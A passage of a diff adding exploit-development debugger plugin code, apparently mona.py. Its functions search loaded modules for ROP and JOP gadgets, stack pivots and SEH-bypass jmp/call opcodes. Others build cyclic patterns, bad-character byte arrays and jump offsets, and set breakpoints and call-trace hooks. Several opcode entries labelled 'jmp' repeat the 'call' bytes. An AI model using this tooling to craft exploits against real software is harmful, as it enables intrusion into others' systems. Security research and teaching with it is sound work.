modulecriteria["aslr"] = False + #modulecriteria["rebase"] = False + modulecriteria["os"] = False + criteria={} + + modulecriteria,criteria = args2criteria(args,modulecriteria,criteria) + ropfuncs = {} + ropfuncoffsets ={} + ropfuncs,ropfuncoffsets = findROPFUNC(modulecriteria,criteria) + #report findings to log + dbg.log("[+] Processing pointers to interesting rop functions") + logfile = MnLog("ropfunc.txt") + thislog = logfile.reset() + processResults(ropfuncs,logfile,thislog) + global silent + silent = True + dbg.log("[+] Processing offsets to pointers to interesting rop functions") + logfile = MnLog("ropfunc_offset.txt") + thislog = logfile.reset() + processResults(ropfuncoffsets,logfile,thislog) + + def procStackPivots(args): + procROP(args,"stackpivot") + + def procROP(args,mode="all"): + #default criteria + modulecriteria={} + modulecriteria["aslr"] = False + modulecriteria["rebase"] = False + modulecriteria["os"] = False + + criteria={} + + modulecriteria,criteria = args2criteria(args,modulecriteria,criteria) + + # handle optional arguments + + depth = 6 + maxoffset = 40 + thedistance = 8 + split = False + fast = False + sortedprint = False + endingstr = "" + endings = [] + + if "depth" in args: + if type(args["depth"]).__name__.lower() != "bool": + try: + depth = int(args["depth"]) + except: + pass + + if "offset" in args: + if type(args["offset"]).__name__.lower() != "bool": + try: + maxoffset = int(args["offset"]) + except: + pass + + if "distance" in args: + if type(args["distance"]).__name__.lower() != "bool": + try: + thedistance = args["distance"] + except: + pass + + if "split" in args: + if type(args["split"]).__name__.lower() == "bool": + split = args["split"] + + if "fast" in args: + if type(args["fast"]).__name__.lower() == "bool": + fast = args["fast"] + + if "end" in args: + if type(args["end"]).__name__.lower() == "str": + endingstr = args["end"].replace("'","").replace('"',"").strip() + endings = endingstr.split("#") + + if "f" in args: + if args["f"] <> "": + criteria["f"] = args["f"] + + if "sort" in args: + sortedprint = True + + if "rva" in args: + criteria["rva"] = True + + if mode == "stackpivot": + fast = False + endings = "" + split = False + else: + mode = "all" + + findROPGADGETS(modulecriteria,criteria,endings,maxoffset,depth,split,thedistance,fast,mode,sortedprint) + + + def procJseh(args): + results = [] + showred=0 + showall=0 + nrfound = 0 + if len(args) > 1: + if args[1].lower()== "all": + showall=1 + dbg.log("-----------------------------------------------------------------------") + dbg.log("Search for jmp/call dword[ebp/esp+nn] (and other) combinations started ") + dbg.log("-----------------------------------------------------------------------") + opcodej=["\xff\x54\x24\x08", #call dword ptr [esp+08] + "\xff\x64\x24\x08", #jmp dword ptr [esp+08] + "\xff\x54\x24\x14", #call dword ptr [esp+14] + "\xff\x54\x24\x14", #jmp dword ptr [esp+14] + "\xff\x54\x24\x1c", #call dword ptr [esp+1c] + "\xff\x54\x24\x1c", #jmp dword ptr [esp+1c] + "\xff\x54\x24\x2c", #call dword ptr [esp+2c] + "\xff\x54\x24\x2c", #jmp dword ptr [esp+2c] + "\xff\x54\x24\x44", #call dword ptr [esp+44] + "\xff\x54\x24\x44", #jmp dword ptr [esp+44] + "\xff\x54\x24\x50", #call dword ptr [esp+50] + "\xff\x54\x24\x50", #jmp dword ptr [esp+50] + "\xff\x55\x0c", #call dword ptr [ebp+0c] + "\xff\x65\x0c", #jmp dword ptr [ebp+0c] + "\xff\x55\x24", #call dword ptr [ebp+24] + "\xff\x65\x24", #jmp dword ptr [ebp+24] + "\xff\x55\x30", #call dword ptr [ebp+30] + "\xff\x65\x30", #jmp dword ptr [ebp+30] + "\xff\x55\xfc", #call dword ptr [ebp-04] + "\xff\x65\xfc", #jmp dword ptr [ebp-04] + "\xff\x55\xf4", #call dword ptr [ebp-0c] + "\xff\x65\xf4", #jmp dword ptr [ebp-0c] + "\xff\x55\xe8", #call dword ptr [ebp-18] + "\xff\x65\xe8", #jmp dword ptr [ebp-18] + "\x83\xc4\x08\xc3", #add esp,8 + ret + "\x83\xc4\x08\xc2"] #add esp,8 + ret X + for opjc in opcodej: + addys=dbg.search( opjc ) + results += addys + for ad1 in addys: + module = dbg.findModule(ad1) + if not module: + module="" + page = dbg.getMemoryPageByAddress( ad1 ) + access = page.getAccess( human = True ) + op = dbg.disasm( ad1 ) + opstring=op.getDisasm() + dbg.log("Found %s at 0x%08x - Access: (%s)" % (opstring, ad1, access), address = ad1,highlight=1) + nrfound+=1 + else: + if showall==1: + page = dbg.getMemoryPageByAddress( ad1 ) + access = page.getAccess( human = True ) + op = dbg.disasm( ad1 ) + opstring=op.getDisasm() + if ismodulenosafeseh(module[0])==1: + extratext="=== Safeseh : NO ===" + showred=1 + else: + extratext="Safeseh protected" + showred=0 + dbg.log("Found %s at 0x%08x (%s) - Access: (%s) - %s" % (opstring, ad1, module,access,extratext), address = ad1,highlight=showred) + nrfound+=1 + dbg.log("Search complete") + if results: + dbg.log("Found %d address(es)" % nrfound) + return "Found %d address(es) (Check the log Windows for details)" % nrfound + else: + dbg.log("No addresses found") + return "Sorry, no addresses found" + + + def procJOP(args,mode="all"): + #default criteria + modulecriteria={} + modulecriteria["aslr"] = False + modulecriteria["rebase"] = False + modulecriteria["os"] = False + + criteria={} + + modulecriteria,criteria = args2criteria(args,modulecriteria,criteria) + + # handle optional arguments + + depth = 6 + + if "depth" in args: + if type(args["depth"]).__name__.lower() != "bool": + try: + depth = int(args["depth"]) + except: + pass + findJOPGADGETS(modulecriteria,criteria,depth) + + + def procCreatePATTERN(args): + size = 0 + pattern = "" + if "?" in args and args["?"] != "": + try: + if "0x" in args["?"].lower(): + try: + size = int(args["?"],16) + except: + size = 0 + else: + size = int(args["?"]) + except: + size = 0 + if size == 0: + dbg.log("Please enter a valid size",highlight=1) + else: + pattern = createPattern(size,args) + dbg.log("Creating cyclic pattern of %d bytes" % size) + dbg.log(pattern) + global ignoremodules + ignoremodules = True + objpatternfile = MnLog("pattern.txt") + patternfile = objpatternfile.reset() + # ASCII + objpatternfile.write("\nPattern of " + str(size) + " bytes :\n",patternfile) + objpatternfile.write("-" * (19 + len(str(size))),patternfile) + objpatternfile.write("\nASCII:",patternfile) + objpatternfile.write("\n" + pattern,patternfile) + # Hex + patternhex = "" + for patternchar in pattern: + patternhex += str(hex(ord(patternchar))).replace("0x","\\x") + objpatternfile.write("\n\nHEX:\n",patternfile) + objpatternfile.write(patternhex,patternfile) + # Javascript + patternjs = str2js(pattern) + objpatternfile.write("\n\nJAVASCRIPT (unescape() friendly):\n",patternfile) + objpatternfile.write(patternjs,patternfile) + if not silent: + dbg.log("Note: don't copy this pattern from the log window, it might be truncated !",highlight=1) + dbg.log("It's better to open %s and copy the pattern from the file" % patternfile,highlight=1) + + ignoremodules = False + return + + + def procOffsetPATTERN(args): + egg = "" + if "?" in args and args["?"] != "": + try: + egg = args["?"] + except: + egg = "" + if egg == "": + dbg.log("Please enter a valid target",highlight=1) + else: + findOffsetInPattern(egg,-1,args) + return + + # ----- Comparing file output ----- # + def procFileCOMPARE(args): + modulecriteria={} + criteria={} + modulecriteria,criteria = args2criteria(args,modulecriteria,criteria) + allfiles=[] + tomatch="" + checkstrict=True + rangeval = 0 + fast = False + if "ptronly" in args or "ptrsonly" in args: + fast = True + if "f" in args: + if args["f"] <> "": + rawfilenames=args["f"].replace('"',"") + allfiles = rawfilenames.split(',') + dbg.log("[+] Number of files to be examined : %d " % len(allfiles)) + if "range" in args: + if not type(args["range"]).__name__.lower() == "bool": + strrange = args["range"].lower() + if strrange.startswith("0x") and len(strrange) > 2 : + rangeval = int(strrange,16) + else: + try: + rangeval = int(args["range"]) + except: + rangeval = 0 + if rangeval > 0: + dbg.log("[+] Find overlap using pointer +/- range, value %d" % rangeval) + dbg.log(" Note : this will significantly slow down the comparison process !") + else: + dbg.log("Please provide a numeric value ^(> 0) with option -range",highlight=1) + return + else: + if "contains" in args: + if type(args["contains"]).__name__.lower() == "str": + tomatch = args["contains"].replace("'","").replace('"',"") + if "nostrict" in args: + if type(args["nostrict"]).__name__.lower() == "bool": + checkstrict = not args["nostrict"] + dbg.log("[+] Instructions must match in all files ? %s" % checkstrict) + # maybe one of the arguments is a folder + callfiles = allfiles + allfiles = [] + for tfile in callfiles: + if os.path.isdir(tfile): + # folder, get all files from this folder + for root,dirs,files in os.walk(tfile): + for dfile in files: + allfiles.append(os.path.join(root,dfile)) + else: + allfiles.append(tfile) + if len(allfiles) > 1: + findFILECOMPARISON(modulecriteria,criteria,allfiles,tomatch,checkstrict,rangeval,fast) + else: + dbg.log("Please specify at least 2 filenames to compare",highlight=1) + + # ----- Find bytes in memory ----- # + def procFind(args): + modulecriteria={} + criteria={} + pattern = "" + base = 0 + offset = 0 + top = TOP_USERLAND + consecutive = False + ftype = "" + + level = 0 + offsetlevel = 0 + + if not "a" in args: + args["a"] = "*" + + ptronly = False + + if "ptronly" in args or "ptrsonly" in args: + ptronly = True + + #search for all pointers by default + if not "x" in args: + args["x"] = "*" + modulecriteria,criteria = args2criteria(args,modulecriteria,criteria) + if criteria["accesslevel"] == "": + return + if not "s" in args: + dbg.log("-s is a mandatory argument",highlight=1) + return + pattern = args["s"] + + if "unicode" in args: + criteria["unic"] = True + + if "b" in args: + try: + base = int(args["b"],16) + except: + dbg.log("invalid base address: %s" % args["b"],highlight=1) + return + if "t" in args: + try: + top = int(args["t"],16) + except: + dbg.log("invalid top address: %s" % args["t"],highlight=1) + return + if "offset" in args: + if not args["offset"].__class__.__name__ == "bool": + if "0x" in args["offset"].lower(): + try: + offset = 0 - int(args["offset"],16) + except: + dbg.log("invalid offset value",highlight=1) + return + else: + try: + offset = 0 - int(args["offset"]) + except: + dbg.log("invalid offset value",highlight=1) + return + else: + dbg.log("invalid offset value",highlight=1) + return + + if "level" in args: + try: + level = int(args["level"]) + except: + dbg.log("invalid level value",highlight=1) + return + + if "offsetlevel" in args: + try: + offsetlevel = int(args["offsetlevel"]) + except: + dbg.log("invalid offsetlevel value",highlight=1) + return + + if "c" in args: + dbg.log(" - Skipping consecutive pointers, showing size instead") + consecutive = True + + if "type" in args: + if not args["type"] in ["bin","asc","ptr","instr","file"]: + dbg.log("Invalid search type : %s" % args["type"], highlight=1) + return + ftype = args["type"] + if ftype == "file": + filename = args["s"].replace('"',"").replace("'","") + #see if we can read the file + if not os.path.isfile(filename): + dbg.log("Unable to find/read file %s" % filename,highlight=1) + return + rangep2p = 0 + + + if "p2p" in args or level > 0: + dbg.log(" - Looking for pointers to pointers") + criteria["p2p"] = True + if "r" in args: + try: + rangep2p = int(args["r"]) + except: + pass + if rangep2p > 0: + dbg.log(" - Will search for close pointers (%d bytes backwards)" % rangep2p) + if "p2p" in args: + level = 1 + + + if level > 0: + dbg.log(" - Recursive levels : %d" % level) + + + allpointers = findPattern(modulecriteria,criteria,pattern,ftype,base,top,consecutive,rangep2p,level,offset,offsetlevel) + + logfile = MnLog("find.txt") + thislog = logfile.reset() + processResults(allpointers,logfile,thislog,{},ptronly) + return + + + # ---- Find instructions, wildcard search ----- # + def procFindWild(args): + modulecriteria={} + criteria={} + pattern = "" + patterntype = "" + base = 0 + top = TOP_USERLAND + + modulecriteria,criteria = args2criteria(args,modulecriteria,criteria) + + if not "s" in args: + dbg.log("-s is a mandatory argument",highlight=1) + return + pattern = args["s"] + + patterntypes = ["bin","str"] + if "type" in args: + if type(args["type"]).__name__.lower() != "bool": + if args["type"] in patterntypes: + patterntype = args["type"] + else: + dbg.log("-type argument only takes one of these values: %s" % patterntypes,highlight=1) + return + else: + dbg.log("Please specify a valid value for -type. Valid values are %s" % patterntypes,highlight=1) + return + + + if patterntype == "": + if "\\x" in pattern: + patterntype = "bin" + else: + patterntype = "str" + + if "b" in args: + base,addyok = getAddyArg(args["b"]) + if not addyok: + dbg.log("invalid base address: %s" % args["b"],highlight=1) + return + + if "t" in args: + top,addyok = getAddyArg(args["t"]) + if not addyok: + dbg.log("invalid top address: %s" % args["t"],highlight=1) + return + + if "depth" in args: + try: + criteria["depth"] = int(args["depth"]) + except: + dbg.log("invalid depth value",highlight=1) + return + + if "all" in args: + criteria["all"] = True + + if "distance" in args: + if type(args["distance"]).__name__.lower() == "bool": + dbg.log("invalid distance value(s)",highlight=1) + else: + distancestr = args["distance"] + distanceparts = distancestr.split(",") + for parts in distanceparts: + valueparts = parts.split("=") + if len(valueparts) > 1: + if valueparts[0].lower() == "min": + try: + mindistance = int(valueparts[1]) + except: + mindistance = 0 + if valueparts[0].lower() == "max": + try: + maxdistance = int(valueparts[1]) + except: + maxdistance = 0 + + if maxdistance < mindistance: + tmp = maxdistance + maxdistance = mindistance + mindistance = tmp + + criteria["mindistance"] = mindistance + criteria["maxdistance"] = maxdistance + + allpointers = findPatternWild(modulecriteria,criteria,pattern,base,top,patterntype) + + logfile = MnLog("findwild.txt") + thislog = logfile.reset() + processResults(allpointers,logfile,thislog) + return + + + # ----- assemble: assemble instructions to opcodes ----- # + def procAssemble(args): + opcodes = "" + encoder = "" + + if not 's' in args: + dbg.log("Mandatory argument -s missing", highlight=1) + return + opcodes = args['s'] + + if 'e' in args: + # TODO: implement encoder support + dbg.log("Encoder support not yet implemented", highlight=1) + return + encoder = args['e'].lowercase() + if encoder not in ["ascii"]: + dbg.log("Invalid encoder : %s" % encoder, highlight=1) + return + + assemble(opcodes,encoder) + + # ----- info: show information about an address ----- # + def procInfo(args): + if not "a" in args: + dbg.log("Missing mandatory argument -a", highlight=1) + return + + address,addyok = getAddyArg(args["a"]) + if not addyok: + dbg.log("%s is an invalid address" % args["a"], highlight=1) + return + + ptr = MnPointer(address) + modname = ptr.belongsTo() + modinfo = None + if modname != "": + modinfo = MnModule(modname) + rebase = "" + rva=0 + if modinfo : + rva = address - modinfo.moduleBase + procFlags(args) + dbg.log("") + dbg.log("[+] Information about address 0x%s" % toHex(address)) + dbg.log(" %s" % ptr.__str__()) + thepage = dbg.getMemoryPageByAddress(address) + dbg.log(" Address is part of page 0x%08x - 0x%08x" % (thepage.getBaseAddress(),thepage.getBaseAddress()+thepage.getSize())) + section = "" + try: + section = thepage.getSection() + except: + section = "" + if section != "": + dbg.log(" Section : %s" % section) + + if ptr.isOnStack(): + stacks = getStacks() + stackref = "" + for tid in stacks: + currstack = stacks[tid] + if currstack[0] <= address and address <= currstack[1]: + stackref = " (Thread 0x%08x, Stack Base : 0x%08x, Stack Top : 0x%08x)" % (tid,currstack[0],currstack[1]) + break + dbg.log(" This address is in a stack segment %s" % stackref) + if modinfo: + dbg.log(" Address is part of a module:") + dbg.log(" %s" % modinfo.__str__()) + if rva != 0: + dbg.log(" Offset from module base: 0x%x" % rva) + if modinfo: + eatlist = modinfo.getEAT() + if address in eatlist: + dbg.log(" Address is start of function '%s' in %s" % (eatlist[address],modname)) + else: + iatlist = modinfo.getIAT() + if address in iatlist: + iatentry = iatlist[address] + dbg.log(" Address is part of IAT, and contains pointer to '%s'" % iatentry) + else: + output = "" + if ptr.isInHeap(): + dbg.log(" This address resides in the heap") + dbg.log("") + ptr.showHeapBlockInfo() + else: + dbg.log(" Module: None") + try: + dbg.log("") + dbg.log("[+] Disassembly:") + op = dbg.disasm(address) + opstring=getDisasmInstruction(op) + dbg.log(" Instruction at %s : %s" % (toHex(address),opstring)) + except: + pass + if __DEBUGGERAPP__ == "WinDBG": + dbg.log("") + dbg.log("Output of !address 0x%08x:" % address) + output = dbg.nativeCommand("!address 0x%08x" % address) + dbg.logLines(output) + dbg.log("") + + # ----- dump: Dump some memory to a file ----- # + def procDump(args): + + filename = "" + if "f" not in args: + dbg.log("Missing mandatory argument -f filename", highlight=1) + return + filename = args["f"] + + address = None + if "s" not in args: + dbg.log("Missing mandatory argument -s address", highlight=1) + return + startaddress = str(args["s"]).replace("0x","").replace("0X","") + if not isAddress(startaddress): + dbg.log("You have specified an invalid start address", highlight=1) + return + address = addrToInt(startaddress) + + size = 0 + if "n" in args: + size = int(args["n"]) + elif "e" in args: + endaddress = str(args["e"]).replace("0x","").replace("0X","") + if not isAddress(endaddress): + dbg.log("You have specified an invalid end address", highlight=1) + return + end = addrToInt(endaddress) + if end < address: + dbg.log("end address %s is before start address %s" % (args["e"],args["s"]), highlight=1) + return + size = end - address + else: + dbg.log("you need to specify either the size of the copy with -n or the end address with -e ", highlight=1) + return + + dumpMemoryToFile(address,size,filename) + + # ----- compare : Compare contents of a file with copy in memory, indicate bad chars / corruption ----- # + def procCompare(args): + startpos = 0 + filename = "" + skipmodules = False + findunicode = False + allregs = dbg.getRegs() + if "f" in args: + filename = args["f"].replace('"',"").replace("'","") + #see if we can read the file + if not os.path.isfile(filename): + dbg.log("Unable to find/read file %s" % filename,highlight=1) + return + else: + dbg.log("You must specify a valid filename using parameter -f", highlight=1) + return + if "a" in args: + startpos,addyok = getAddyArg(args["a"]) + if not addyok: + dbg.log("%s is an invalid address" % args["a"], highlight=1) + return + if "s" in args: + skipmodules = True + if "unicode" in args: + findunicode = True + compareFileWithMemory(filename,startpos,skipmodules,findunicode) + + + # ----- offset: Calculate the offset between two addresses ----- # + def procOffset(args): + extratext1 = "" + extratext2 = "" + isReg_a1 = False + isReg_a2 = False + regs = dbg.getRegs() + if "a1" not in args: + dbg.log("Missing mandatory argument -a1
", highlight=1) + return + a1 = args["a1"] + if "a2" not in args: + dbg.log("Missing mandatory argument -a2
", highlight=1) + return + a2 = args["a2"] + + + a1,addyok = getAddyArg(args["a1"]) + if not addyok: + dbg.log("0x%08x is not a valid address" % a1, highlight=1) + return + + a2,addyok = getAddyArg(args["a2"]) + if not addyok: + dbg.log("0x%08x is not a valid address" % a2, highlight=1) + return + + diff = a2 - a1 + result=toHex(diff) + negjmpbytes = "" + if a1 > a2: + ndiff = a1 - a2 + result=toHex(4294967296-ndiff) + negjmpbytes="\\x"+ result[6]+result[7]+"\\x"+result[4]+result[5]+"\\x"+result[2]+result[3]+"\\x"+result[0]+result[1] + regaction="sub" + dbg.log("Offset from 0x%08x to 0x%08x : %d (0x%s) bytes" % (a1,a2,diff,result)) + if a1 > a2: + dbg.log("Negative jmp offset : %s" % negjmpbytes) + else: + dbg.log("Jmp offset : %s" % negjmpbytes) + return + + # ----- bp: Set a breakpoint on read/write/exe access ----- # + def procBp(args): + isReg_a = False + regs = dbg.getRegs() + thistype = "" + + if "a" not in args: + dbg.log("Missing mandatory argument -a address", highlight=1) + dbg.log("The address can be an absolute address, a register, or a modulename!functionname") + return + a = str(args["a"]) + + for reg in regs: + if reg.upper() == a.upper(): + a=toHex(regs[reg]) + isReg_a = True + break + a = a.upper().replace("0X","").lower() + + if not isAddress(str(a)): + # maybe it's a modulename!function + if str(a).find("!") > -1: + modparts = str(a).split("!") + modname = modparts[0] + if not modname.lower().endswith(".dll"): + modname += ".dll" + themodule = MnModule(modname) + if themodule != None and len(modparts) > 1: + eatlist = themodule.getEAT() + funcname = modparts[1].lower() + addyfound = False + for eatentry in eatlist: + if eatlist[eatentry].lower() == funcname: + a = "%08x" % (eatentry) + addyfound = True + break + if not addyfound: + # maybe it's just a symbol, try to resolve + if __DEBUGGERAPP__ == "WinDBG": + symboladdress = dbg.resolveSymbol(a) + if symboladdress != "" : + a = symboladdress + addyfound = True + if not addyfound: + dbg.log("Please specify a valid address/register/modulename!functionname (-a)", highlight=1) + return + else: + dbg.log("Please specify a valid address/register/modulename!functionname (-a)", highlight=1) + return + else: + dbg.log("Please specify a valid address/register/modulename!functionname (-a)", highlight=1) + return + + valid_types = ["READ", "WRITE", "SFX", "EXEC"] + + if "t" not in args: + dbg.log("Missing mandatory argument -t type", highlight=1) + dbg.log("Valid types are: %s" % ", ".join(valid_types)) + return + else: + thistype = args["t"].upper() + + + if not thistype in valid_types: + dbg.log("Invalid type : %s" % thistype) + return + + if thistype == "EXEC": + thistype = "SFX" + + a = hexStrToInt(a) + + dbg.setMemBreakpoint(a,thistype[0]) + dbg.log("Breakpoint set on %s of 0x%s" % (thistype,toHex(a)),highlight=1) + + + # ----- ct: calltrace ---- # + def procCallTrace(args): + modulecriteria={} + criteria={} + criteria["accesslevel"] = "X" + modulecriteria,criteria = args2criteria(args,modulecriteria,criteria) + modulestosearch = getModulesToQuery(modulecriteria) + hooks = [] + rethooks = [] + showargs = 0 + hookrets = False + if not "m" in args: + dbg.log(" ** Please specify what module(s) you want to include in the trace, using argument -m **",highlight=1) + return + if "a" in args: + if args["a"] != "": + try: + showargs = int(args["a"]) + except: + showargs = 0 + + if "r" in args: + hookrets = True + toignore = [] + limit_scope = True + if not "all" in args: + # fill up array + toignore.append("PeekMessage") + toignore.append("GetParent") + toignore.append("GetFocus") + toignore.append("EnterCritical") + toignore.append("LeaveCritical") + toignore.append("GetWindow") + toignore.append("CallnextHook") + toignore.append("TlsGetValue") + toignore.append("DefWindowProc") + toignore.append("SetTextColor") + toignore.append("DrawText") + toignore.append("TranslateAccel") + toignore.append("TranslateMessage") + toignore.append("DispatchMessage") + toignore.append("isChild") + toignore.append("GetSysColor") + toignore.append("SetBkColor") + toignore.append("GetDlgCtrl") + toignore.append("CallWindowProc") + toignore.append("HideCaret") + toignore.append("MessageBeep") + toignore.append("SetWindowText") + toignore.append("GetDlgItem") + toignore.append("SetFocus") + toignore.append("SetCursor") + toignore.append("LoadCursor") + toignore.append("SetEvent") + toignore.append("SetDlgItem") + toignore.append("SetWindowPos") + toignore.append("GetDC") + toignore.append("ReleaseDC") + toignore.append("GetDeviceCaps") + toignore.append("GetClientRect") + toignore.append("etLastError") + else: + limit_scope = False + if len( modulestosearch) > 0: + dbg.log("[+] Initializing log file") + logfile = MnLog("calltrace.txt") + thislog = logfile.reset() + dbg.log("[+] Number of CALL arguments to display : %d" % showargs) + dbg.log("[+] Finding instructions & placing hooks") + for thismod in modulestosearch: + dbg.updateLog() + objMod = dbg.getModule(thismod) + if not objMod.isAnalysed: + dbg.log(" Analysing code...") + objMod.Analyse() + themod = MnModule(thismod) + modcodebase = themod.moduleCodebase + modcodetop = themod.moduleCodetop + dbg.setStatusBar("Placing hooks in %s..." % thismod) + dbg.log(" * %s (0x%08x - 0x%08x)" % (thismod,modcodebase,modcodetop)) + ccnt = 0 + rcnt = 0 + thisaddr = modcodebase + allfuncs = dbg.getAllFunctions(modcodebase) + for func in allfuncs: + thisaddr = func + thisfunc = dbg.getFunction(thisaddr) + instrcnt = 0 + while thisfunc.hasAddress(thisaddr): + try: + if instrcnt == 0: + thisopcode = dbg.disasm(thisaddr) + else: + thisopcode = dbg.disasmForward(thisaddr,1) + thisaddr = thisopcode.getAddress() + instruction = getDisasmInstruction(thisopcode) + if instruction.startswith("CALL "): + ignore_this_instruction = False + for ignores in toignore: + if instruction.lower().find(ignores.lower()) > -1: + ignore_this_instruction = True + break + if not ignore_this_instruction: + if not thisaddr in hooks: + hooks.append(thisaddr) + myhook = MnCallTraceHook(thisaddr,showargs,instruction,thislog) + myhook.add("HOOK_CT_%s" % thisaddr , thisaddr) + ccnt += 1 + if hookrets and instruction.startswith("RETN"): + if not thisaddr in rethooks: + rethooks.append(thisaddr) + myhook = MnCallTraceHook(thisaddr,showargs,instruction,thislog) + myhook.add("HOOK_CT_%s" % thisaddr , thisaddr) + except: + #dbg.logLines(traceback.format_exc(),highlight=True) + break + instrcnt += 1 + dbg.log("[+] Total number of CALL hooks placed : %d" % len(hooks)) + if hookrets: + dbg.log("[+] Total number of RETN hooks placed : %d" % len(rethooks)) + else: + dbg.log("[!] No modules selected or found",highlight=1) + return "Done" + + # ----- bu: set a deferred breakpoint ---- # + def procBu(args): + if not "a" in args: + dbg.log("No targets defined. (-a)",highlight=1) + return + else: + allargs = args["a"] + bpargs = allargs.split(",") + breakpoints = {} + dbg.log("") + dbg.log("Received %d addresses//functions to process" % len(bpargs)) + # set a breakpoint right away for addresses and functions that are mapped already + for tbparg in bpargs: + bparg = tbparg.replace(" ","") + # address or module.function ? + if bparg.find(".") > -1: + functionaddress = dbg.getAddress(bparg) + if functionaddress > 0: + # module.function is already mapped, we can set a bp right away + dbg.setBreakpoint(functionaddress) + breakpoints[bparg] = True + dbg.log("Breakpoint set at 0x%08x (%s), was already mapped" % (functionaddress,bparg), highlight=1) + else: + breakpoints[bparg] = False # no breakpoint set yet + elif bparg.find("+") > -1: + ptrparts = bparg.split("+") + modname = ptrparts[0] + if not modname.lower().endswith(".dll"): + modname += ".dll" + themodule = getModuleObj(modname) + if themodule != None and len(ptrparts) > 1: + address = themodule.getBase() + int(ptrparts[1],16) + if address > 0: + dbg.log("Breakpoint set at %s (0x%08x), was already mapped" % (bparg,address),highlight=1) + dbg.setBreakpoint(address) + breakpoints[bparg] = True + else: + breakpoints[bparg] = False + else: + breakpoints[bparg] = False + if bparg.find(".") == -1 and bparg.find("+") == -1: + # address, see if it is mapped, by reading one byte from that location + address = -1 + try: + address = int(bparg,16) + except: + pass + thispage = dbg.getMemoryPageByAddress(address) + if thispage != None: + dbg.setBreakpoint(address) + dbg.log("Breakpoint set at 0x%08x, was already mapped" % address, highlight=1) + breakpoints[bparg] = True + else: + breakpoints[bparg] = False + + # get the correct addresses to put hook on + loadlibraryA = dbg.getAddress("kernel32.LoadLibraryA") + loadlibraryW = dbg.getAddress("kernel32.LoadLibraryW") + + if loadlibraryA > 0 and loadlibraryW > 0: + + # find end of function for each + endAfound = False + endWfound = False + cnt = 1 + while not endAfound: + objInstr = dbg.disasmForward(loadlibraryA, cnt) + strInstr = getDisasmInstruction(objInstr) + if strInstr.startswith("RETN"): + endAfound = True + loadlibraryA = objInstr.getAddress() + cnt += 1 + + cnt = 1 + while not endWfound: + objInstr = dbg.disasmForward(loadlibraryW, cnt) + strInstr = getDisasmInstruction(objInstr) + if strInstr.startswith("RETN"): + endWfound = True + loadlibraryW = objInstr.getAddress() + cnt += 1 + + # if addresses/functions are left, throw them into their own hooks, + # one for each LoadLibrary type. + hooksplaced = False + for bptarget in breakpoints: + if not breakpoints[bptarget]: + myhookA = MnDeferredHook(loadlibraryA, bptarget) + myhookA.add("HOOK_A_%s" % bptarget, loadlibraryA) + myhookW = MnDeferredHook(loadlibraryW, bptarget) + myhookW.add("HOOK_W_%s" % bptarget, loadlibraryW) + dbg.log("Hooks for %s installed" % bptarget) + hooksplaced = True + if not hooksplaced: + dbg.log("No hooks placed") + else: + dbg.log("** Unable to place hooks, make sure kernel32.dll is loaded",highlight=1) + return "Done" + + # ----- bf: Set a breakpoint on exported functions of a module ----- # + def procBf(args): + + funcfilter = "" + + mode = "" + + type = "export" + + modes = ["add","del","list"] + types = ["import","export","iat","eat"] + + modulecriteria={} + criteria={} + + modulecriteria,criteria = args2criteria(args,modulecriteria,criteria) + + if "s" in args: + try: + funcfilter = args["s"].lower() + except: + dbg.log("No functions selected. (-s)",highlight=1) + return + else: + dbg.log("No functions selected. (-s)",highlight=1) + return + + if "t" in args: + try: + mode = args["t"].lower() + except: + pass + + if "f" in args: + try: + type = args["f"].lower() + except: + pass + + if not type in types: + dbg.log("No valid function type selected (-f )",highlight=1) + return + + if not mode in modes or mode=="": + dbg.log("No valid action defined. (-t add|del|list)") + + doManageBpOnFunc(modulecriteria,criteria,funcfilter,mode,type) + + return + + + # ----- Show info about modules -------# + def procModInfoS(args): + modulecriteria = {} + criteria = {} + modulecriteria["safeseh"] = False + dbg.log("Safeseh unprotected modules :") + modulestosearch = getModulesToQuery(modulecriteria) + showModuleTable("",modulestosearch) + return + + def procModInfoSA(args): + modulecriteria = {} + criteria = {} + modulecriteria["safeseh"] = False + modulecriteria["aslr"] = False + modulecriteria["rebase"] = False + dbg.log("Safeseh unprotected, no aslr & no rebase modules :") + modulestosearch = getModulesToQuery(modulecriteria) + showModuleTable("",modulestosearch) + return + + def procModInfoA(args): + modulecriteria = {} + criteria = {} + modulecriteria["aslr"] = False + modulecriteria["rebase"] = False + dbg.log("No aslr & no rebase modules :") + modulestosearch = getModulesToQuery(modulecriteria) + showModuleTable("",modulestosearch) + return + + # ----- Print byte array ----- # + + def procByteArray(args): + badchars = "" + forward = True + startval = 0 + endval = 255 + sign = 1 + bytesperline = 32 + if "b" in args: + dbg.log(" *** Note: parameter -b has been deprecated and replaced with -cpb ***") + if type(args["b"]).__name__.lower() != "bool": + if not "cpb" in args: + args["cpb"] = args["b"] + if "r" in args: + forward = False + startval = -255 + endval = 0 + sign = -1 + badchars = "" + if "cpb" in args: + badchars = args["cpb"] + badchars = badchars.replace("'","") + badchars = badchars.replace('"',"") + badchars = badchars.replace("\\x","") + # see if we need to expand .. + bpos = 0 + newbadchars = "" + while bpos < len(badchars): + curchar = badchars[bpos]+badchars[bpos+1] + if curchar == "..": + pos = bpos + if pos > 1 and pos <= len(badchars)-4: + # get byte before and after .. + bytebefore = badchars[pos-2] + badchars[pos-1] + byteafter = badchars[pos+2] + badchars[pos+3] + bbefore = int(bytebefore,16) + bafter = int(byteafter,16) + insertbytes = "" + bbefore += 1 + while bbefore < bafter: + insertbytes += "%02x" % bbefore + bbefore += 1 + newbadchars += insertbytes + else: + newbadchars += curchar + bpos += 2 + badchars = newbadchars + + + cnt = 0 + strb = "" + while cnt < len(badchars): + strb=strb+binascii.a2b_hex(badchars[cnt]+badchars[cnt+1]) + cnt=cnt+2 + + dbg.log("Generating table, excluding %d bad chars..." % len(strb)) + arraytable = [] + binarray = "" + while startval <= endval: + thisval = startval * sign + hexbyte = hex(thisval)[2:] + binbyte = hex2bin(toHexByte(thisval)) + if len(hexbyte) == 1: + hexbyte = "0" + hexbyte + hexbyte2 = binascii.a2b_hex(hexbyte) + if not hexbyte2 in strb: + arraytable.append(hexbyte) + binarray += binbyte + startval += 1 + dbg.log("Dumping table to file") + output = "" + cnt = 0 + outputline = '"' + totalbytes = len(arraytable) + tablecnt = 0 + while tablecnt < totalbytes: + if (cnt < bytesperline): + outputline += "\\x" + arraytable[tablecnt] + else: + outputline += '"\n' + cnt = 0 + output += outputline + outputline = '"\\x' + arraytable[tablecnt] + tablecnt += 1 + cnt += 1 + if (cnt-1) < bytesperline: + outputline += '"\n' + output += outputline + + global ignoremodules + ignoremodules = True + 